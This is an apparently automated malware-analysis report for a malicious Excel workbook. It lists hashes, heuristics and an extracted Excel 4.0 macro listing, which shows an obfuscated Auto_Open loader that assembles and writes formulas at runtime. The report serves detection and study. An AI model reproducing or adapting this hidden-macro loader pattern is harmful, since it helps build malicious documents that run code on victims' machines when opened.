Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e43f3220fbdbb62b…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:40:16 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 8e805858b6ba68d5fac616ff2e2144e4 SHA-1: d3efad8470434a5efada5319a28836f64d0362b2 SHA-256: e43f3220fbdbb62bddc13ab3041a476982c8ec88e2ef61ea85c6de1b7e5b6cb4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6407 bytes
SHA-256: 433c4407286e57ce0726ab219ecef76845af16094b61ce3fe0b97f3ecba5397c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  XrVnG
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I183 
' 0018     23 LABEL : Cell Value, String Constant - CDxqEgtq len=0 
' 0018     26 LABEL : Cell Value, String Constant - dBfyEafGdui len=0 
' 0018     25 LABEL : Cell Value, String Constant - EDZQTEDVeH len=0 
' 0018     23 LABEL : Cell Value, String Constant - eRpGYZje len=0 
' 0018     21 LABEL : Cell Value, String Constant - FGsSep len=0 
' 0018     20 LABEL : Cell Value, String Constant - HokuD len=0 
' 0018     22 LABEL : Cell Value, String Constant - iGUoWIq len=0 
' 0018     23 LABEL : Cell Value, String Constant - MtWjFdFm len=0 
' 0018     24 LABEL : Cell Value, String Constant - psJMnkSKw len=0 
' 0018     20 LABEL : Cell Value, String Constant - rBsey len=0 
' 0018     20 LABEL : Cell Value, String Constant - rUaiu len=0 
' 0018     26 LABEL : Cell Value, String Constant - tYnZrvYJdGZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - VXSXo len=0 
' 0018     27 LABEL : Cell Value, String Constant - wvkDzQDlBOxx len=0 
' 0018     24 LABEL : Cell Value, String Constant - xWavBcpaB len=0 
' 0018     25 LABEL : Cell Value, String Constant - yFgQtVjlxE len=0 
' 0018     24 LABEL : Cell Value, String Constant - yHYNRkTJX len=0 
' 0018     20 LABEL : Cell Value, String Constant - YZqMm len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZKbTy len=0 
' 0018     27 LABEL : Cell Value, String Constant - zuHPuhrQPfTk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  XrVnG,I91,"SET.NAME("HokuD",VALUE("0"))",""
'  XrVnG,I94,"SET.NAME("dBfyEafGdui",HokuD)",""
'  XrVnG,I98,"SET.NAME("psJMnkSKw",HokuD)",""
'  XrVnG,I100,"SET.NAME("FGsSep",COUNTA(rBsey))",""
'  XrVnG,I105,"SET.NAME("EDZQTEDVeH",COUNTA(iGUoWIq))",""
'  XrVnG,I109,[],""
'  XrVnG,I114,"SET.NAME("yFgQtVjlxE","")",""
'  XrVnG,I118,"dBfyEafGdui",""
'  XrVnG,I122,"SET.NAME("tYnZrvYJdGZ",HLOOKUP("*",rBsey,dBfyEafGdui,FALSE))",""
'  XrVnG,I124,"xWavBcpaB",""
'  XrVnG,I126,"SET.NAME("yHYNRkTJX",HokuD)",""
'  XrVnG,I128,[],""
'  XrVnG,I132,"yHYNRkTJX",""
'  XrVnG,I136,"rUaiu",""
'  XrVnG,I138,"wvkDzQDlBOxx",""
'  XrVnG,I142,"YZqMm",""
'  XrVnG,I145,"SET.NAME("zuHPuhrQPfTk",VALUE(HLOOKUP("*",iGUoWIq,YZqMm,FALSE)))",""
'  XrVnG,I148,"MtWjFdFm",""
'  XrVnG,I150,"yFgQtVjlxE",""
'  XrVnG,I155,"psJMnkSKw",""
'  XrVnG,I160,NEXT(),""
'  XrVnG,I164,"eRpGYZje",""
'  XrVnG,I168,"SET.NAME("f",INT(T(FORMULA(T(yFgQtVjlxE)&"",""&T(eRpGYZje)))))",""
'  XrVnG,I173,"ZKbTy",""
'  XrVnG,I176,NEXT(),""
'  XrVnG,I178,RETURN(),""
'  XrVnG,I209,"SET.NAME("CDxqEgtq",I91)",""
'  XrVnG,I213,"rBsey",""
'  XrVnG,I218,"SET.NAME("iGUoWIq",R77C13)",""
'  XrVnG,I223,"SET.NAME("ZKbTy",231)",""
'  XrVnG,I225,"SET.NAME("VXSXo",9)",""
'  XrVnG,I230,CDxqEgtq(),""
'  XrVnG,I231,HALT(),""

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